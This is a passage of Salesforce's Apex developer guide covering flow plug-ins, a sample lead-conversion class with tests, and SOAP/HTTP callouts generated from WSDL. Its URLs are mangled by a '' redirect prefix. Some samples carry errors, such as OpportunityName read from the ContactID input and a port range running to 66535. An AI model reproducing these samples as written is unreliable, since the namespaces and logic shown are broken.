result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
};
return result;
}
}

Using the Process.PluginResult Class
The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
You can instantiate the Process.PluginResult class using one of the following formats:
•

Process.PluginResult (Map<String,Object>)

276
Using Salesforce Features with Apex

•

Using the Process.PluginDescribeResult Class

Process.PluginResult (String, Object)

Use the map when you have more than one result or when you don't know how many results will be returned.
The following is an example of instantiating a Process.PluginResult class.
string url = 'https://docs.google.com/document/edit?id=abc';
String status = 'Success';
Map<String,Object> result = new Map<String,Object>();
result.put('url', url);
result.put('status',status);
new Process.PluginResult(result);

Using the Process.PluginDescribeResult Class
The Process.PluginDescribeResult class is used to determine the input parameters and output parameters needed by
the Process.PluginResult class.
Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the
flow. This method returns the Process.PluginDescribeResult class.
The Process.PluginDescribeResult class can't be used to do the following functions:
•
•
•
•

Queries
Data modification
Email
Apex nested callouts

Process.PluginDescribeResult Class and Subclass Properties

The following is the constructor for the Process.PluginDescribeResult class:
Process.PluginDescribeResult classname = new Process.PluginDescribeResult();

The following describe the properties of Process.PluginDescribeResult and its input and output parameter subclasses:
•
•
•

PluginDescribeResult Class Properties
PluginDescribeResult.InputParameter Class Properties
PluginDescribeResult.OutputParameter Class Properties

The following is the constructor of the Process.PluginDescribeResult.InputParameter class:
Process.PluginDescribeResult.InputParameter ip = new
Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required);

The following is the constructor of the Process.PluginDescribeResult.OutputParameter class:
Process.PluginDescribeResult.OutputParameter op = new
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum);

To use the Process.PluginDescribeResult class, create instances of the following additional subclasses:
•
•

Process.PluginDescribeResult.InputParameter
Process.PluginDescribeResult.OutputParameter

277
Using Salesforce Features with Apex

Using the Process.PluginDescribeResult Class

Process.PluginDescribeResult.InputParameter is a list of input parameters and has the following format:
Process.PluginDescribeResult.inputParameters =
new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required)

For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('FullName',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('DOB',
Process.PluginDescribeResult.ParameterType.DATE, true),
};

Process.PluginDescribeResult.OutputParameter is a list of output parameters and has the following format:
Process.PluginDescribeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum)

For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING),

Both classes take the Process.PluginDescribeResult.ParameterType Enum, which has the following values:
•
•
•
•
•
•
•
•
•
•

BOOLEAN
DATE
DATETIME
DECIMAL
DOUBLE
FLOAT
ID
INTEGER
LONG
STRING

For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.OutputParameter('STATUS',
Process.PluginDescribeResult.ParameterType.STRING),
};

278
Using Salesforce Features with Apex

Process.Plugin Data Type Conversions

Process.Plugin Data Type Conversions
The following shows the data type conversions between Apex and the values returned to the Process.Plugin. For example,
text data in a flow converts to string data in Apex.
Flow Data Type

Data Type

Number

Decimal

Date

Datetime/Date

Boolean

Boolean and numeric with 1 or 0 values only

Text

String

Sample Process.Plugin Implementation for Lead Conversion
In this example, an Apex class implements the Process.Plugin interface and converts a lead into an account, contact, and
optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via
an Apex plug-in element.
// Converts a lead as a step in a Visual Workflow process.
global class VWFConvertLead implements Process.Plugin {
// This method runs when called by a flow's Apex plug-in element.
global Process.PluginResult invoke(
Process.PluginRequest request) {
// Set up variables to store input parameters from
// the flow.
String leadID = (String) request.inputParameters.get(
'LeadID');
String contactID = (String)
request.inputParameters.get('ContactID');
String accountID = (String)
request.inputParameters.get('AccountID');
String convertedStatus = (String)
request.inputParameters.get('ConvertedStatus');
Boolean overWriteLeadSource = (Boolean)
request.inputParameters.get('OverwriteLeadSource');
Boolean createOpportunity = (Boolean)
request.inputParameters.get('CreateOpportunity');
String opportunityName = (String)
request.inputParameters.get('ContactID');
Boolean sendEmailToOwner = (Boolean)
request.inputParameters.get('SendEmailToOwner');
// Set the default handling for booleans.
if (overWriteLeadSource == null)
overWriteLeadSource = false;
if (createOpportunity == null)
createOpportunity = true;
if (sendEmailToOwner == null)
sendEmailToOwner = false;
// Convert the lead by passing it to a helper method.
Map<String,Object> result = new Map<String,Object>();
result = convertLead(leadID, contactID, accountID,
convertedStatus, overWriteLeadSource,
createOpportunity, opportunityName,
sendEmailToOwner);
return new Process.PluginResult(result);

279
Using Salesforce Features with Apex

Sample Process.Plugin Implementation for Lead Conversion

}
// This method describes the plug-in and its inputs from
// and outputs to the flow.
// Implementing this method adds the class to the
// Cloud Flow Designer palette.
global Process.PluginDescribeResult describe() {
// Set up plugin metadata
Process.PluginDescribeResult result = new
Process.PluginDescribeResult();
result.description =
'The LeadConvert Flow Plug-in converts a lead into ' +
'an account, a contact, and ' +
'(optionally)an opportunity.';
result.tag = 'Lead Management';
// Create a list that stores both mandatory and optional
// input parameters from the flow.
// NOTE: Only primitive types (STRING, NUMBER, etc.) are
// supported at this time.
// Collections are currently not supported.
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
// Lead ID (mandatory)
new Process.PluginDescribeResult.InputParameter(
'LeadID',
Process.PluginDescribeResult.ParameterType.STRING,
true),
// Account Id (optional)
new Process.PluginDescribeResult.InputParameter(
'AccountID',
Process.PluginDescribeResult.ParameterType.STRING,
false),
// Contact ID (optional)
new Process.PluginDescribeResult.InputParameter(
'ContactID',
Process.PluginDescribeResult.ParameterType.STRING,
false),
// Status to use once converted
new Process.PluginDescribeResult.InputParameter(
'ConvertedStatus',
Process.PluginDescribeResult.ParameterType.STRING,
true),
new Process.PluginDescribeResult.InputParameter(
'OpportunityName',
Process.PluginDescribeResult.ParameterType.STRING,
false),
new Process.PluginDescribeResult.InputParameter(
'OverwriteLeadSource',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'CreateOpportunity',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'SendEmailToOwner',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false)
};
// Create a list that stores output parameters sent
// to the flow.
result.outputParameters = new List<
Process.PluginDescribeResult.OutputParameter>{
// Account ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'AccountID',
Process.PluginDescribeResult.ParameterType.STRING),
// Contact ID of the converted lead

280
Using Salesforce Features with Apex

Sample Process.Plugin Implementation for Lead Conversion

new Process.PluginDescribeResult.OutputParameter(
'ContactID',
Process.PluginDescribeResult.ParameterType.STRING),
// Opportunity ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'OpportunityID',
Process.PluginDescribeResult.ParameterType.STRING)
};
return result;
}
/**
* Implementation of the LeadConvert plug-in.
* Converts a given lead with several options:
* leadID - ID of the lead to convert
* contactID * accountID - ID of the Account to attach the converted
* Lead/Contact/Opportunity to.
* convertedStatus * overWriteLeadSource * createOpportunity - true if you want to create a new
* Opportunity upon conversion
* opportunityName - Name of the new Opportunity.
* sendEmailtoOwner - true if you are changing owners upon
* conversion and want to notify the new Opportunity owner.
*
* returns: a Map with the following output:
* AccountID - ID of the Account created or attached
* to upon conversion.
* ContactID - ID of the Contact created or attached
* to upon conversion.
* OpportunityID - ID of the Opportunity created
* upon conversion.
*/
public Map<String,String> convertLead (
String leadID,
String contactID,
String accountID,
String convertedStatus,
Boolean overWriteLeadSource,
Boolean createOpportunity,
String opportunityName,
Boolean sendEmailToOwner
) {
Map<String,String> result = new Map<String,String>();
if (leadId == null) throw new ConvertLeadPluginException(
'Lead Id cannot be null');
// check for multiple leads with the same ID
Lead[] leads = [Select Id, FirstName, LastName, Company
From Lead where Id = :leadID];
if (leads.size() > 0) {
Lead l = leads[0];
// CheckAccount = true, checkContact = false
if (accountID == null && l.Company != null) {
Account[] accounts = [Select Id, Name FROM Account
where Name = :l.Company LIMIT 1];
if (accounts.size() > 0) {
accountId = accounts[0].id;
}
}
// Perform the lead conversion.
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(leadID);
lc.setOverwriteLeadSource(overWriteLeadSource);
lc.setDoNotCreateOpportunity(!createOpportunity);
lc.setConvertedStatus(convertedStatus);

281
Using Salesforce Features with Apex

Sample Process.Plugin Implementation for Lead Conversion

if (sendEmailToOwner != null) lc.setSendNotificationEmail(
sendEmailToOwner);
if (accountId != null && accountId.length() > 0)
lc.setAccountId(accountId);
if (contactId != null && contactId.length() > 0)
lc.setContactId(contactId);
if (createOpportunity) {
lc.setOpportunityName(opportunityName);
}
Database.LeadConvertResult lcr = Database.convertLead(
lc, true);
if (lcr.isSuccess()) {
result.put('AccountID', lcr.getAccountId());
result.put('ContactID', lcr.getContactId());
if (createOpportunity) {
result.put('OpportunityID',
lcr.getOpportunityId());
}
} else {
String error = lcr.getErrors()[0].getMessage();
throw new ConvertLeadPluginException(error);
}
} else {
throw new ConvertLeadPluginException(
'No leads found with Id : "' + leadId + '"');
}
return result;
}
// Utility exception class
class ConvertLeadPluginException extends Exception {}
}
// Test class for the lead convert Apex plug-in.
@isTest
private class VWFConvertLeadTest {
static testMethod void basicTest() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
LeadStatus convertStatus =
[Select Id, MasterLabel from LeadStatus
where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead = [select name, id, isConverted
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
}
/*
* This tests lead conversion with
* the Account ID specified.

282
Using Salesforce Features with Apex

Sample Process.Plugin Implementation for Lead Conversion

*/
static testMethod void basicTestwithAccount() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
Account testAccount = new Account(name='Test Account');
insert testAccount;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('AccountID',testAccount.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead =
[select name, id, isConverted, convertedAccountID
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
//System.debug('ACCOUNT AFTER' + aLead.convertedAccountID);
System.AssertEquals(testAccount.ID, aLead.convertedAccountID);
}
/*
* This tests lead conversion with the Account ID specified.
*/
static testMethod void basicTestwithAccounts() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
Account testAccount1 = new Account(name='Test Lead');
insert testAccount1;
Account testAccount2 = new Account(name='Test Lead');
insert testAccount2;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);

283
Using Salesforce Features with Apex

Communities

Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead =
[select name, id, isConverted, convertedAccountID
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
}
/*
* -ve Test
*/
static testMethod void errorTest() {
// Create test lead
// Lead testLead = new Lead(Company='Test Lead',
//
FirstName='John',LastName='Doe');
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID','00Q7XXXXxxxxxxx');
inputParams.put('ConvertedStatus',convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
try {
result = aLeadPlugin.invoke(request);
}
catch (Exception e) {
System.debug('EXCEPTION' + e);
System.AssertEquals(1,1);
}
}
/*
* This tests the describe() method
*/
static testMethod void describeTest() {
VWFConvertLead aLeadPlugin =
new VWFConvertLead();
Process.PluginDescribeResult result =
aLeadPlugin.describe();
System.AssertEquals(
result.inputParameters.size(), 8);
System.AssertEquals(
result.OutputParameters.size(), 3);
}
}

Communities
Communities are branded spaces for your employees, customers, and partners to connect. You can interact with communities
in Apex using the Network class and using Chatter in Apex classes in the ConnectApi namespace.

284
Using Salesforce Features with Apex

Zones

Chatter in Apex has a ConnectApi.Communities class with methods that return information about communities. Also,
most Chatter in Apex methods take a communityId argument.

See Also:
Network Class

Zones
Note: Before Summer ’13, Chatter Answers and Ideas used the term “communities.” In the Summer ‘13 release,
these communities were renamed “zones” to prevent confusion with Salesforce Communities.
Zones help organize ideas and answers into logical groups with each zone having its own focus and unique ideas and answers
topics. Apex includes the Answers, Ideas, and ConnectApi.Zones classes that allow you to work with zones.

See Also:
Answers Class
Ideas Class
Zones Class

285
Chapter 11
Integration and Apex Utilities
In this chapter ...
•
•
•
•
•
•

Invoking Callouts Using Apex
JSON Support
XML Support
Securing Your Data
Encoding Your Data
Using Patterns and Matchers

Apex allows you to integrate with external SOAP and REST Web services
using callouts. Various utilities are provided for use with callouts. These are
utilities for JSON, XML, data security, and encoding. Also, a general purpose
utility for regular expressions with text strings is provided.

286
Integration and Apex Utilities

Invoking Callouts Using Apex

Invoking Callouts Using Apex
An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service
or sending a HTTP request from Apex code and then receiving the response. Apex provides integration with Web services
that utilize SOAP and WSDL, or HTTP services (RESTful services).
Note: Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page,
or the callout fails. Salesforce prevents calls to unauthorized network addresses.
To learn more about the two types of callouts, see:
•
•

SOAP Services: Defining a Class from a WSDL Document on page 287
Invoking HTTP Callouts on page 299
Tip: Callouts enable Apex to invoke external web or HTTP services. Apex Web services allow an external application
to invoke Apex methods through Web services.

Adding Remote Site Settings
SOAP Services: Defining a Class from a WSDL Document
Invoking HTTP Callouts
Using Certificates
Callout Limits and Limitations

Adding Remote Site Settings
Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout
fails. Salesforce prevents calls to unauthorized network addresses.
To add a remote site setting:
1.
2.
3.
4.
5.
6.

From Setup, click Security Controls > Remote Site Settings.
Click New Remote Site.
Enter a descriptive term for the Remote Site Name.
Enter the URL for the remote site.
Optionally, enter a description of the site.
Click Save.

SOAP Services: Defining a Class from a WSDL Document
Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a
class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex code.
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web
services only when necessary.
To generate an Apex class from a WSDL:
1. In the application, from Setup, click Develop > Apex Classes.
2. Click Generate from WSDL.
287
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL
document is the basis for the Apex class you are creating.
Note:
The WSDL document that you specify might contain a SOAP endpoint location that references an outbound
port.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
•
•
•

80: This port only accepts HTTP connections.
443: This port only accepts HTTPS connections.
1024–66535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each
namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema
constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes.
For example, the Salesforce SOAP API WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the
same class name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors
from other classes. The page also provides a link to view successfully generated code.
The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by
the WSDL document. These classes allow you to call the external Web service from Apex.
Note the following about the generated Apex:
•

•

•

If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated.
For example, limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords.
For details on handling characters in element names in a WSDL that are not supported in Apex variable names, see
Considerations Using WSDLs.
If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements
in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual
elements.
Since periods (.) are not allowed in Apex class names, any periods in WSDL names used to generate Apex classes are
replaced by underscores (_) in the generated Apex code.

After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.
Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from
Understanding the Generated Code and add it to your organization.
Understanding the Generated Code
Testing Web Service Callouts
Performing DML Operations and Mock Callouts
Considerations Using WSDLs

288
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

Invoking an External Service
To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your
Apex code and call the methods on it. For example, to invoke the StrikeIron IP address lookup service from Apex, you could
write code similar to the following:
// Create the stub
strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap();
// Set up the license header
dns.LicenseInfo = new strikeiron.LicenseInfo();
dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser();
dns.LicenseInfo.RegisteredUser.UserID = 'you@company.com';
dns.LicenseInfo.RegisteredUser.Password = 'your-password';
// Make the Web service call
strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com');

HTTP Header Support
You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in
an authorization header. To set HTTP headers, add inputHttpHeaders_x and outputHttpHeaders_x to the stub.
Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless
of the Content-Type header. In API versions 17.0 and later, HTTP responses are decoded using the encoding
specified in the Content-Type header.
The following samples work with the sample WSDL file in Understanding the Generated Code on page 292:
Sending HTTP Headers on a Web Service Callout
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.inputHttpHeaders_x = new Map<String, String>();
//Setting a basic authentication header
stub.inputHttpHeaders_x.put('Authorization', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==');
//Setting a cookie header
stub.inputHttpHeaders_x.put('Cookie', 'name=value');
//Setting a custom HTTP header
stub.inputHttpHeaders_x.put('myHeader', 'myValue');
String input = 'This is the input string';
String output = stub.EchoString(input);

If a value for inputHttpHeaders_x is specified, it overrides the standard headers set.
Accessing HTTP Response Headers from a Web Service Callout Response
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.outputHttpHeaders_x = new Map<String, String>();
String input = 'This is the input string';
String output = stub.EchoString(input);
//Getting cookie header
String cookie = stub.outputHttpHeaders_x.get('Set-Cookie');

289
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

//Getting custom header
String myHeader = stub.outputHttpHeaders_x.get('My-Header');

The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to
the content of headers in the response.

Supported WSDL Features
Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes:
Schema Type

Apex Type

xsd:anyURI

String

xsd:boolean

Boolean

xsd:date

Date

xsd:dateTime

Datetime

xsd:double

Double

xsd:float

Double

xsd:int

Integer

xsd:integer

Integer

xsd:language

String

xsd:long

Long

xsd:Name

String

xsd:NCName

String

xsd:nonNegativeInteger

Integer

xsd:NMTOKEN

String

xsd:NMTOKENS

String

xsd:normalizedString

String

xsd:NOTATION

String

xsd:positiveInteger

Integer

xsd:QName

String

xsd:short

Integer

xsd:string

String

xsd:time

Datetime

xsd:token

String

xsd:unsignedInt

Integer

xsd:unsignedLong

Long

xsd:unsignedShort

Integer

290
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

Note: The Salesforce datatype anyType is not supported in WSDLs used to generate Apex code that is saved using
API version 15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String.
Apex also supports the following schema constructs:
•
•
•
•
•

xsd:all, in Apex code saved using API version 15.0 and later
xsd:annotation, in Apex code saved using API version 15.0 and later
xsd:attribute, in Apex code saved using API version 15.0 and later
xsd:choice, in Apex code saved using API version 15.0 and later
xsd:element. In Apex code saved using API version 15.0 and later, the ref attribute is also supported with the following

restrictions:
◊ You cannot call a ref in a different namespace.
◊ A global element cannot use ref.
◊ If an element contains ref, it cannot also contain name or type.
•

xsd:sequence

The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web
service method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external
Web service.
•
•
•

blob
decimal
enum

Apex does not support any other WSDL constructs, types, or services, including:
•
•
•

RPC/encoded services
WSDL files with mulitple portTypes, multiple services, or multiple bindings
WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which
is not supported:
<wsdl:types>
<xsd:schema
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:include schemaLocation="AmazonS3.xsd"/>
</xsd:schema>
</wsdl:types>

However, an import within the same schema is supported. In the following example, the external WSDL is pasted into
the WSDL you are converting:
<wsdl:types>
<xsd:schema
xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:element name="CreateBucket">
<xsd:complexType>
<xsd:sequence>
[...]
</xsd:schema>
</wsdl:types>

291
Integration and Apex Utilities

•
•
•

SOAP Services: Defining a Class from a WSDL Document

Any schema types not documented in the previous table
WSDLs that exceed the size limit, including the Salesforce WSDLs
WSDLs that don’t use the document literal wrapped style. The following WSDL snippet doesn’t use document literal
wrapped style and results in an “Unable to find complexType” error when imported.
<wsdl:types>
<xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse"/>
<xsd:simpleType name="SFDCPollResponse">
<xsd:restriction base="xsd:string" />
</xsd:simpleType>
</xsd:schema>
</wsdl:types>

This modified version wraps the simpleType element as a complexType that contains a sequence of elements. This
follows the document literal style and is supported.
<wsdl:types>
<xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse" />
<xsd:complexType name="SFDCPollResponse">
<xsd:sequence>
<xsd:element name="SFDCOutput" type="xsd:string" />
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
</wsdl:types>

Understanding the Generated Code
The following example shows how an Apex class is created from a WSDL document. The Apex class is auto-generated for
you when you import the WSDL. The following code shows a sample WSDL document:
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://doc.sample.com/docSample"
targetNamespace="http://doc.sample.com/docSample"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
<!-- Above, the schema targetNamespace maps to the Apex class name. -->
<!-- Below, the type definitions for the parameters are listed.
Each complexType and simpleType parameteris mapped to an Apex class inside the parent
class for the WSDL. Then, each element in the complexType is mapped to a public field
inside the class. -->
<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://doc.sample.com/docSample">
<s:element name="EchoString">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
<s:element name="EchoStringResponse">
<s:complexType>

292
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="EchoStringResult"
type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>
<!--The stub below defines operations. -->
<wsdl:message name="EchoStringSoapIn">
<wsdl:part name="parameters" element="tns:EchoString" />
</wsdl:message>
<wsdl:message name="EchoStringSoapOut">
<wsdl:part name="parameters" element="tns:EchoStringResponse" />
</wsdl:message>
<wsdl:portType name="DocSamplePortType">
<wsdl:operation name="EchoString">
<wsdl:input message="tns:EchoStringSoapIn" />
<wsdl:output message="tns:EchoStringSoapOut" />
</wsdl:operation>
</wsdl:portType>
<!--The code below defines how the types map to SOAP. -->
<wsdl:binding name="DocSampleBinding" type="tns:DocSamplePortType">
<wsdl:operation name="EchoString">
<soap:operation soapAction="urn:dotnet.callouttest.soap.sforce.com/EchoString"
style="document" />
<wsdl:input>
<soap:body use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body use="literal" />
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<!-- Finally, the code below defines the endpoint, which maps to the endpoint in the class
-->
<wsdl:service name="DocSample">
<wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding">
<soap:address location="http://YourServer/YourService" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>

From this WSDL document, the following Apex class is auto-generated. The class name docSample is the name you specify
when importing the WSDL.
//Generated by wsdl2apex
public class docSample {
public class EchoStringResponse_element {
public String EchoStringResult;
private String[] EchoStringResult_type_info = new String[]{
'EchoStringResult',
'http://www.w3.org/2001/XMLSchema',
'string','0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',

293
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

'true'};
private String[] field_order_type_info = new String[]{
'EchoStringResult'};
}
public class DocSamplePort {
public String endpoint_x = 'http://YourServer/YourService';
private String[] ns_map_type_info = new String[]{
'http://doc.sample.com/docSample',
'docSample'};
public String EchoString(String input) {
docSample.EchoString_element request_x =
new docSample.EchoString_element();
docSample.EchoStringResponse_element response_x;
request_x.input = input;
Map<String, docSample.EchoStringResponse_element> response_map_x =
new Map<String, docSample.EchoStringResponse_element>();
response_map_x.put('response_x', response_x);
WebServiceCallout.invoke(
this,
request_x,
response_map_x,
new String[]{endpoint_x,
'urn:dotnet.callouttest.soap.sforce.com/EchoString',
'http://doc.sample.com/docSample',
'EchoString',
'http://doc.sample.com/docSample',
'EchoStringResponse',
'docSample.EchoStringResponse_element'}
);
response_x = response_map_x.get('response_x');
return response_x.EchoStringResult;
}
}
public class EchoString_element {
public String input;
private String[] input_type_info = new String[]{
'input',
'http://www.w3.org/2001/XMLSchema',
'string','0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',
'true'};
private String[] field_order_type_info = new String[]{'input'};
}
}

Note the following mappings from the original WSDL document:
•
•
•
•

The WSDL target namespace maps to the Apex class name.
Each complex type becomes a class. Each element in the type is a public field in the class.
The WSDL port name maps to the stub class.
Each operation in the WSDL maps to a public method.

The class generated above can be used to invoke external Web services. The following code shows how to call the echoString
method on the external server:
docSample.DocSamplePort stub = new docSample.DocSamplePort();
String input = 'This is the input string';
String output = stub.EchoString(input);

294
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

Testing Web Service Callouts
Generated code is saved as an Apex class containing the methods you can invoke for calling the Web service. To deploy or
package this Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the
generated class. By default, test methods don’t support Web service callouts and tests that perform Web service callouts are
skipped. To prevent tests from being skipped and to increase code coverage, Apex provides the built-in WebServiceMock
